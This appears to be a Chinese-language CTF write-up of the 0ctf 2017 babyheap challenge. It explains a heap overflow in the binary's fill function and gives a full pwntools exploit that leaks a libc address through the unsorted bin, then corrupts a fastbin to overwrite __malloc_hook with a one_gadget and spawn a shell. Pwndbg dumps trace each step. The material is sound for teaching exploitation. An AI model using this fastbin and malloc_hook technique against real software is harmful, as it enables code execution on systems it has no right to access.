本片文章从0ctf2017-babyheap这一道pwn题目入手,讲解pwn堆中的一些利用手法
题目链接
首先检查程序保护,所有的保护措施都是开启的,这意味着我们想要改写程序流程考虑从malloc_hook
和free_hook
入手
[*] '/home/thunder/Desktop/codes/ctf/pwn/heap/0ctf_babyheap/0ctfbabyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
sed -i s/alarm/isnan/g ./0ctfbabyheap
命令除去alarm函数,初步运行程序,有以下几个功能:
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command:
漏洞点存在于申请chunk和填充chunk部分,我们着重对这两个地方进行分析
IDA中反汇编如下,这里使用了calloc
函数,相当于malloc + memset
void __fastcall alloc(__int64 heap)
{
int index; // [rsp+10h] [rbp-10h]
int v2; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]
for ( index = 0; index <= 15; ++index )
{
if ( !*(_DWORD *)(24LL * index + heap) )
{
printf("Size: ");
v2 = input_();
if ( v2 > 0 )
{
if ( v2 > 4096 )
v2 = 4096;
v3 = calloc(v2, 1uLL);
if ( !v3 )
exit(-1);
*(_DWORD *)(24LL * index + heap) = 1;
*(_QWORD *)(heap + 24LL * index + 8) = v2;
*(_QWORD *)(heap + 24LL * index + 16) = v3;
printf("Allocate Index %d\n", (unsigned int)index);
}
return;
}
}
}
反汇编中我们可以分析heap结构体大致如下
struct heap
{
signed int flag; //标记是否被分配
signed int size; //请求申请的大小
void* chunk_m; //chunk的mem值
}
IDA反汇编如下,需要注意的是,这里并没有对填充的大小进行限制,也就意味着我们可以堆溢出控制下面的chunk
__int64 __fastcall fill(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = input_();
v2 = result;
if ( (int)result >= 0 && (int)result <= 15 )
{
result = *(unsigned int *)(24LL * (int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = input_();
v3 = result;
if ( (int)result > 0 )
{
printf("Content: ");
result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
}
}
}
return result;
}
这里先放exp,然后逐步进行调试讲解,我们的利用可以分为两步,第一步是泄露libc基地址,第二步是getshell
from pwn import *
r = process('./0ctfbabyheap')
elf =ELF('./0ctfbabyheap')
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
if args.G:
gdb.attach(r)
def malloc(size):
r.recvuntil('Command: ')
r.sendline('1')
r.recvuntil('Size: ')
r.sendline(str(size))
def free(idx):
r.recvuntil('Command: ')
r.sendline('3')
r.recvuntil('Index: ')
r.sendline(str(idx))
def fill(idx,content):
r.recvuntil('Command: ')
r.sendline('2')
r.recvuntil('Index: ')
r.sendline(str(idx))
r.recvuntil('Size: ')
r.sendline(str(len(content)))
r.recvuntil('Content: ')
r.send(content)
def dump(idx):
r.recvuntil('Command: ')
r.sendline('4')
r.recvuntil('Index: ')
r.sendline(str(idx))
r.recvline()
return r.recvline()
malloc(0x10) # fast chunk 0
malloc(0x10) # fast chunk 1
malloc(0x10) # fast chunk 2
malloc(0x10) # fast chunk 3
malloc(0x80) # small chunk
free(1) # fastbin <- chunk1
free(2) # fastbin <- chunk2 <- chunk1
fill(0,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80))
fill(3,p64(0)*3+p64(0x21))
malloc(0x10)
malloc(0x10)
fill(3,p64(0)*3+p64(0x91))
malloc(0x80)
free(4)
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x58-0x399b00
success("libc_base: "+hex(libc_base))
fake_chunk = libc_base + 0x399acd
success("fake chunk:"+hex(fake_chunk))
malloc(0x60)
free(4)
fill(2,p64(fake_chunk)) # chunk[2]->fd = fake chunk
malloc(0x60)
malloc(0x60) # malloc fake chunk
# construct fake chunk
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x3f35a) # one_gadgets
fill(6, payload)
# trigger
malloc(255)
r.interactive()
这里我们是通过small chunk的机制泄露libc地址,当small chunk被释放之后,会进入unsorted bin中,它的fd和bk指针会指向同一个地址(unsorted bin链表的头部),通过这个地址可以获得main_arena的地址,然后计算libc基地址,首先我们创建如下几个chunk
code:
malloc(0x10) # fast chunk 0
malloc(0x10) # fast chunk 1
malloc(0x10) # fast chunk 2
malloc(0x10) # fast chunk 3
malloc(0x80) # small chunk
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000: 0x0000000000000000 0x0000000000000021
0x55c448092010: 0x0000000000000000 0x0000000000000000
0x55c448092020: 0x0000000000000000 0x0000000000000021
0x55c448092030: 0x0000000000000000 0x0000000000000000
0x55c448092040: 0x0000000000000000 0x0000000000000021
0x55c448092050: 0x0000000000000000 0x0000000000000000
0x55c448092060: 0x0000000000000000 0x0000000000000021
0x55c448092070: 0x0000000000000000 0x0000000000000000
0x55c448092080: 0x0000000000000000 0x0000000000000091
0x55c448092090: 0x0000000000000000 0x0000000000000000
pwndbg> x/20gx 0x361e77c925a0 => heap struct
0x361e77c925a0: 0x0000000000000001 0x0000000000000010
0x361e77c925b0: 0x000055c448092010 0x0000000000000001
0x361e77c925c0: 0x0000000000000010 0x000055c448092030
0x361e77c925d0: 0x0000000000000001 0x0000000000000010
0x361e77c925e0: 0x000055c448092050 0x0000000000000001
0x361e77c925f0: 0x0000000000000010 0x000055c448092070
0x361e77c92600: 0x0000000000000001 0x0000000000000080
0x361e77c92610: 0x000055c448092090 0x0000000000000000
0x361e77c92620: 0x0000000000000000 0x0000000000000000
0x361e77c92630: 0x0000000000000000 0x0000000000000000
释放两个fast chunk,将第二个指向第一个
code:
free(1)
free(2)
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000: 0x0000000000000000 0x0000000000000021 => 0
0x55c448092010: 0x0000000000000000 0x0000000000000000
0x55c448092020: 0x0000000000000000 0x0000000000000021 => 1 free
0x55c448092030: 0x0000000000000000 0x0000000000000000
0x55c448092040: 0x0000000000000000 0x0000000000000021 => 2 free
0x55c448092050: 0x000055c448092020 0x0000000000000000
0x55c448092060: 0x0000000000000000 0x0000000000000021 => 3
0x55c448092070: 0x0000000000000000 0x0000000000000000
0x55c448092080: 0x0000000000000000 0x0000000000000091 => 4
0x55c448092090: 0x0000000000000000 0x0000000000000000
pwndbg> bins
fastbins
0x20: 0x55c448092040 —▸ 0x55c448092020 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/20gx 0x361e77c925a0
0x361e77c925a0: 0x0000000000000001 0x0000000000000010
0x361e77c925b0: 0x000055c448092010 0x0000000000000000
0x361e77c925c0: 0x0000000000000000 0x0000000000000000
0x361e77c925d0: 0x0000000000000000 0x0000000000000000
0x361e77c925e0: 0x0000000000000000 0x0000000000000001
0x361e77c925f0: 0x0000000000000010 0x000055c448092070
0x361e77c92600: 0x0000000000000001 0x0000000000000080
0x361e77c92610: 0x000055c448092090 0x0000000000000000
0x361e77c92620: 0x0000000000000000 0x0000000000000000
0x361e77c92630: 0x0000000000000000 0x0000000000000000
这里我们通过 fill 函数修改第0个chunk之后的内容,因为没有限制,所以我们可以修改到2处的指针,让其指向chunk4,因为chunk4是small bin,被链入到了fast bin中会有size的检查,所以我们这里需要将chunk4处的size改为0x20过size的检测
code:
fill(0,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80))
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000: 0x0000000000000000 0x0000000000000021
0x55c448092010: 0x0000000000000000 0x0000000000000000
0x55c448092020: 0x0000000000000000 0x0000000000000021 free
0x55c448092030: 0x0000000000000000 0x0000000000000000
0x55c448092040: 0x0000000000000000 0x0000000000000021 free
0x55c448092050: 0x000055c448092080 0x0000000000000000
0x55c448092060: 0x0000000000000000 0x0000000000000021
0x55c448092070: 0x0000000000000000 0x0000000000000000
0x55c448092080: 0x0000000000000000 0x0000000000000091
0x55c448092090: 0x0000000000000000 0x0000000000000000
code:
fill(3,p64(0)*3+p64(0x21))
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000: 0x0000000000000000 0x0000000000000021
0x55c448092010: 0x0000000000000000 0x0000000000000000
0x55c448092020: 0x0000000000000000 0x0000000000000021
0x55c448092030: 0x0000000000000000 0x0000000000000000
0x55c448092040: 0x0000000000000000 0x0000000000000021
0x55c448092050: 0x000055c448092080 0x0000000000000000
0x55c448092060: 0x0000000000000000 0x0000000000000021
0x55c448092070: 0x0000000000000000 0x0000000000000000
0x55c448092080: 0x0000000000000000 0x0000000000000021
0x55c448092090: 0x0000000000000000 0x0000000000000000
pwndbg> bins
fastbins
0x20: 0x55c448092040 —▸ 0x55c448092080 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
然后我们申请这两个地方的fastbin就可以让index 2的堆块的地址和index 4堆块的地址一样,等index 4被free后,这里就是fd 字段,之后便能通过dump index 2来泄漏index 4的fd内容,括号中括起来的即是heap结构体中指向的同一地址
code:
malloc(0x10)
malloc(0x10)
debugger:
pwndbg> x/20gx 0x361e77c925a0
0x361e77c925a0: 0x0000000000000001 0x0000000000000010
0x361e77c925b0: 0x000055c448092010 0x0000000000000001
0x361e77c925c0: 0x0000000000000010 0x000055c448092050
0x361e77c925d0: 0x0000000000000001 0x0000000000000010
0x361e77c925e0: (0x000055c448092090) 0x0000000000000001
0x361e77c925f0: 0x0000000000000010 0x000055c448092070
0x361e77c92600: 0x0000000000000001 0x0000000000000080
0x361e77c92610: (0x000055c448092090) 0x0000000000000000
0x361e77c92620: 0x0000000000000000 0x0000000000000000
0x361e77c92630: 0x0000000000000000 0x0000000000000000
我们再将其改为原来的大小,申请释放即可泄露出fd指向的地址
code:
fill(3,p64(0)*3+p64(0x91))
malloc(0x80)
free(4)
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000: 0x0000000000000000 0x0000000000000021
0x55c448092010: 0x0000000000000000 0x0000000000000000
0x55c448092020: 0x0000000000000000 0x0000000000000021
0x55c448092030: 0x0000000000000000 0x0000000000000000
0x55c448092040: 0x0000000000000000 0x0000000000000021
0x55c448092050: 0x0000000000000000 0x0000000000000000
0x55c448092060: 0x0000000000000000 0x0000000000000021
0x55c448092070: 0x0000000000000000 0x0000000000000000
0x55c448092080: 0x0000000000000000 0x0000000000000091
0x55c448092090: 0x00007f9c3ed6db58 0x00007f9c3ed6db58
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55c448092080 —▸ 0x7f9c3ed6db58 (main_arena+88) ◂— 0x55c448092080
smallbins
empty
largebins
empty
这个地址是main_arena+88
,我们将其减去0x58得到main_arena的地址,然后根据自己系统libc版本减去相应的偏移获得libc的基地址
code:
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x58-0x399b00
success("libc_base: "+hex(libc_base))
debugger:
pwndbg> vmmap
[...]
0x7f9c3e9d4000 0x7f9c3eb69000 r-xp 195000 0 /usr/lib/x86_64-linux-gnu/libc-2.24.so
[...]
pwndbg> p/x 0x7f9c3ed6db00-0x7f9c3e9d4000
$2 = 0x399b00
我们这里考虑的是使用malloc_hook函数来getshell,当调用 malloc 时,如果 malloc_hook 不为空则调用指向的这个函数,所以这里我们传入一个 one-gadget 即可,首先我们需要找到一个fake chunk,我们将其申请到然后将 one-gadget 写入,它的size选择在0x10~0x80之间即可,这里选择的是mallc_hook上面一排的地方,为了使我们的user data刚好能够写到malloc_hook的位置
pwndbg> x/20gx 0x7f9c3e9d4000+0x399acd
0x7f9c3ed6dacd <_IO_wide_data_0+301>: 0x9c3ed69f00000000 0x000000000000007f
0x7f9c3ed6dadd: 0x9c3ea50420000000 0x9c3ea503c000007f
0x7f9c3ed6daed <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7f9c3ed6dafd: 0x0000000000000000 0x0000000000000000
0x7f9c3ed6db0d : 0x0000000000000000 0x0000000000000000
0x7f9c3ed6db1d : 0x0000000000000000 0x0000000000000000
0x7f9c3ed6db2d : 0x0000000000000000 0x0000000000000000
0x7f9c3ed6db3d : 0x0000000000000000 0x0000000000000000
0x7f9c3ed6db4d : 0x0000000000000000 0xc4480921a0000000
0x7f9c3ed6db5d : 0x0000000000000055 0xc448092080000000
利用fast bin机制进行如下构造,我们需要申请到fake_chunk的位置
code:
malloc(0x60)
free(4)
fill(2,p64(fake_chunk)) # chunk[2]->fd = fake chunk
debugger:
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55c448092080 —▸ 0x7f9c3ed6dacd (_IO_wide_data_0+301) ◂— 0x9c3ea50420000000
0x80: 0x0
unsortedbin
all: 0x55c4480920f0 —▸ 0x7f9c3ed6db58 (main_arena+88) ◂— 0x55c4480920f0
smallbins
empty
largebins
empty
继续malloc两次即可申请到fake chunk的地方,就可以对malloc_hook进行写入
code:
malloc(0x60)
malloc(0x60) # malloc fake chunk
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x9c3ea50420000000
0x80: 0x0
unsortedbin
all: 0x55c4480920f0 —▸ 0x7f9c3ed6db58 (main_arena+88) ◂— 0x55c4480920f0
smallbins
empty
largebins
empty
最后我们构造fake chunk,写入one_gadget即可,这里根据自己的libc版本查询相应的one_gadget
# construct fake chunk
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x3f35a) # one_gadgets
fill(6, payload)
# trigger
malloc(255)
最后getshell
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0x2f bytes:
'0ctfbabyheap core exp.py libc.so.6\n'
0ctfbabyheap core exp.py libc.so.6
$ whoami
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Received 0x8 bytes:
'thunder\n'
thunder
这道题目因为可以自己构造堆的结构,所以比较自由,利用的方法也非常多,我的exp是针对我的deepin环境,想要在不同平台进行利用,需要查看自己libc中的偏移,修改部分偏移即可,好久没在csdn上写东西了,大多数都在博客中更新的,今天心血来潮跟新一下吧~